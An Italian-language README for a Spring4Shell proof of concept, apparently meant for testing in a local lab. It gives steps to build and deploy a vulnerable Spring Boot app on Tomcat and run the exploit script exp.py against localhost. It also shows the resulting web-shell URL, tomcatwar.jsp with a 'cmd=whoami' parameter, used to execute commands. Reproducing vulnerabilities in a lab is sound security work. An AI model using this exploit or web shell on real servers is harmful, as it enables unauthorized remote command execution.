Spring4Shell POC

Descrizione della vulnerabilità: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

Costruzione del POC: https://github.com/BobTheShoplifter/Spring4Shell-POC

Passaggi per compilare/eseguire

Testato con JDK 11.0.14, Spring Boot 2.6.5 e Apache Tomcat 9.0.60

• Esegui mvn clean package per compilare l'applicazione
• Rinomina demo-0.0.1-SNAPSHOT.war in spring-poc.war e copia questo file .war nella directory webapps di Tomcat
• Esegui python exp.py --url http://localhost:8080/spring-poc/greeting
  • Se ha successo, verrà registrato il messaggio 漏洞存在，shell地址为:http://localhost:8080/spring-poc/tomcatwar.jsp?pwd=j&cmd=whoami.
  • Ora dovresti vedere il file tomcatwar.jsp scritto nella directory webapps/spring-poc di Tomcat. Questa directory può essere modificata modificando exp.py.
    • 
  • Vai all'URL per vedere il risultato del comando shell
    •